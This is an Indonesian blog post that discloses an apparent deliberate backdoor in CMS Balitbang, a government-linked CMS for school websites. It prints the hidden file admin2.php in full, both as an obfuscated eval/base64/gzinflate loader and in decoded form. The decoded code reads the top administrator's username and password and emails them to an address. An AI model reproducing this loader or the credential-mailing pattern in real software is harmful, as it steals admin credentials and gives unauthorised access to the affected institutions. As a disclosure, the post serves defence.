Hati-Hati Menggunakan CMS Balitbang

CMS Balitbang adalah CMS asli buatan pemerintah Indonesia. CMS ini difokuskan untuk mengembangkan situs sekolah mulai SD, SMP, SMA/ SMK, dan Perguruan Tinggi. Di Indonesia banyak sekali para webmaster menggunakan CMS Balitbang untuk membangun website pendidikan. Beberapa waktu yang lalu ada perkumpulan programmer yaang ingin melakukan penelitan terhadap CMS Balitbang.

Berikut ini akan dibahas lebih dalam, mengenai hasil dari penelitian tersebut diantaranya :

1. Ditemukan sebuah bug upload yg sangat berbahaya di versi sebelumnya versi 3.4.
2. Terdapat celah yangg sengaja dibuat oleh sang programer pada semua versi termasuk versi CMS Balitbang 3.5.2.

Pembahasan :

1. Masalah bug itu wajar namanya sistem tidak ada yang sempurna dan walau sempat menjadi target oleh teman-teman yang jahil untuk melakukan hacking di sistem tersebut "Anda bisa cek di google banyak sekali tutor hack sistem tersebut" tetapi masalah bug ini selesai setelah direlease versi terbarunya.
2. Adanya penanaman backdor/ celah oleh sang programer, dan perlu diketahui bahwa CMS ini dibuat bekerja sama dengan Kemendiknas RI tentunya sangat ironi sekali.

Hal Teknik :

Jadi inti nya disistem tersebut telah ditaruh sebuah file yang dirancang untuk mengirim User dan Password dari admin yangg memakai sistem tersebut ke salah satu email. Nama filenya bernama "admin2.php" di letakan di folder "functions".

Kode yang terdapat dalam file tersebut sebagai berikut :

<?php eval(gzinflate(base64_decode(base64_decode("RFpSSHpxTllBSVN2MHBwVnQxZ1FIbEdqWHBEQkpKTU5teEg0RVEwbXg5UFBmNEdTcXVxcitsWHNXZmU3dXB0djJXVnI4VHZQbG9JbS80UEZlNERGNzM5ZXFXZk85RUlvK2d2MTE4aHpXS3ZYcEhoeW1yWldQSjFSRUV2akpsY01aT2ZRL2FBV0xHTTNBY3o4azByQWFBQU9uV05raXFnT3pRQU5oaHlkWHgzK1BPTXVRL3NNTFo3NU5qSG9qbzdSU1FlODFMSDRxT0dpNzFDT2N3U2E2VXJTR2o3ZFVqNlhzNDdRZ1BMRklER0k1bmpxbEdxaTVhZkIrWTFDTFdja3NuNTcrdHJzNGpmNTBmSzRNL0hzaWxYVTEycW8wcmxvNFdJNVcvQUxFcVIwK2krM1B5MHRLSEMvbnRTNXVKZ3VEMmVEMXo0UjViOTdaU3NYVTJkWlVxWlR4UHpJOVBnRkErRHEwbjdsWmN4d0laTHhjMUQ2TmtvZ2hyUnc5bE01eVZSQko5SWNobytSUjRIRVVMeGNHRU5WcHI0SXovMFIxY2JzN3RHRmNaNjk2aFdLTzBaangzRWpnTDYydnlkVW8xWjFuWE5udHpnZ1JvUFBNbTVwbENseHZmZlo4b3phY1JDOEgxRmZ0RmJ4amh1VFlRMGdDdjZ6dllPSm1pOVAvM3JEdGdycWF0NHpPbmhQNUZJWlJubUZrL213aVAzd1dRL3l5NWhXYXRaNTFyYXQyWU4yQnFFSjlRK3h0Z2ZlNjJpSWlhVlliTHU3Uys0NTc5L3FTclJrMWw2N21ZVVpaZnZ4WGR3VzlzNUwzNjllV1YwMThKc0NhdW9Xb0kranIrVnBzV2JwRFU3VmMvUHhaWTVCR3VQdWlVYjVqV1BXai9CbWQ0KzJydSt2cVVsTnIvQmVtVG9FR1RGVTBSKzZoemRyRXIrUFVZL3FFbmx6V3l1TXVWY3J2TmlGL0VPTzR1ODlSUXdYTlZXK0JBWmttVUEveHNVTm85QWE1UHRLK05hNTB3QkhrVG9mN1NkUmt0VnNZWWRLdkdOVzcxT3V1VWxFRkFUSzZLTVhFR3I5bU80ZjROYWhSUVBmZW94cElHK1lQQ0xjeHpRcjdSbzNCOGQzQnRHSEx3aFVpelg0N25NdTBpSThzVlRJZ0ZQek01TUpZVEhOaE0wTXZNQmxTd3BtRmVuZ001cUx3OTc3VmFFWG5hVnpFN3NmanlYR3NFRkNXRXhDSVpNNGluUVcyOUJjYTZjK3lKZ2ZQdTdUa0VsVENkbXh3cDFCWDRrSHFEZGNqWGFGbnJ1cy9Na1V3enJNZ0laQXRHckJSSTNQZTFoV09YS3ppdklnRUxiaG1jQVdoNFZsRjA0TzlLNTNKbG41NllWL1VXM3Q3bm5WYzNQb3VpUVp0cmtINUo0QmhoZFRQdmRVOWxTTDRGVStJQXpTNVdNckdiQU03ZU5XY1c0ekNHS1FaR1V4UHZ4S283UkkzUXZZWEhEUUV5OERJQTR2S2pxNzczWFVZZTBIYkRIbWRydGszeGJGTE9yWkJlS1JMQkRLV0FQZ0o3c0xQNTcxOHo2MDdmZ0FqZEI5YVhsN0h1MkVQYnhodHhnWDZsZGEyeHlVWUtadEVFZFJUNW9XWTkvc0pVOFpTZHB0UFBKSUZXMUYxUmFrMTJnK1hUSnZKWk9HMWJpQ2d5cGR2VnVvVkkybW9lSXQ2b3A1bmNPSHJWQS9zMmVFbjhYWU44dTVFcmVHUDdCMTdCM3Q4Mk5JSXBEaGxWSkVBaXNDcTBzYm1CNFIySEliTStFSVVhT1Z4eVVSN2U5MFlJKzUvcExtNTBWdmt0U25MazNvSFE5bHFBaVdTRGtadGZicTZWQm91WXhuVEFudklCanRKR3hXaGJQYmgySWdZZ2dJbjh6Zm90U1VDYXFjQzNDMWZtTHE4Tm1rOUlzNkVKdS84WVZHWTcrYlpBR2JGMDhmMDdZc0lMTEpEVVVrTjcyUXV6eldGOGFvcFdaK3hEdEs0dG5VVnU1cVorNlE4NS9EQ3dqdkRLWE10czhMbzlmWWRCYXhCRDY1dk5IY3VSTVd6Q2RjdW9ocWpTNVJpQ0dxUFdhT05hUU5KaTRzek5OeUhOMDV4SUxYaEFnbVpSeEVRSUYyUXp3NVU5SWU5dEVmUDV3QTEwR3I3Uk1BUHczZG1YYmJ6WnBDbVgxc2pubHlJdDRvV1VmK3VKT2haYXF1K2VVU2F0OXRrbEZmQm9FMFRNRU9uK2M4eUNKcWJRMytiaUluVGNqYmhGTWdkekI1Y09wWGtsN2YwMU9McWtRaFZPQ0I3UGNaamFDZ3dwNURLWTNqWUxIdkJEcmZQeVBuajc5Ly8vbno1OCsvdi80SA==")))); ?>

Terlhiat sangat jelas sang programer sengaja merahasiakan isi kode script yang asli dengan meng'enkripsi seperti yangg terlihat di atas.

Hasil Decrypt :

include "koneksi.php"; 
include "fungsi_pass.php"; 
data = ""; 
$query="select userid, count(menu) as jum from user_level group by userid order by jum desc "; $alan=mysql_query($query) or die ("query gagal"); 
if($row=mysql_fetch_array($alan)){ 
    $query2="select * from user where userid='$row[userid]' "; 
    $alan2=mysql_query($query2) or die ("query gagal"); 
    $r=mysql_fetch_array($alan2); 
    $data .="top admin : $r[username] ----- Password : ".unhex($r[password],82).""; 
} 
$data .= ""; 
$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82); 
$headers = "From: \"Komunitas $nmsekolah\" <$webmail>\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
mail($email, "Komunitas $nmsekolah :: Pesan baru ::", $data, $headers); 
echo "Pesan terkirim"; 

Nah itulah kode yangg asli dari situ bisa jelasakan bahwa inti barisan kode tersebut adalah :

1. Mencari data user dan password yang mempunyai hak akses penuh dalam sistem tersebut.
2. Melakukan peracangan format email yangg disertai dari data user dan password yangg didapat tadi.
3. Menetukan email yangg akan dituju di sini email pun di ecrypt lagi. Perhatikan baris kode "$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82);" diencrypt menggunnkana fungsi "unhex" fungsi "unhex" itu pun dibuat sendiri oleh programer. Hasil mendercypt dihasilkan sebuah alamat email "[email protected]" itulah email tujuannya.
4. Melakukan perintah pengiriman format email yangg tadi telah dirancang dengan beserta ada user dan password sistem tersebut ke email "[email protected]".

Dengan itu sang programer dapat setiap saat masuk ke sistem di lebih dari 100 ribu lembaga pendidikan yang menggunakan sistem tersebut secara tidak sah.

Buat Anda yang menggunakan CMS Balitbang yang melihat artikel ini untuk dikroscek ulang tentang sistem yang anda gunakan mengenai privasi dan keamanan data yang ada di Lembaga pendidikan Anda.

Share :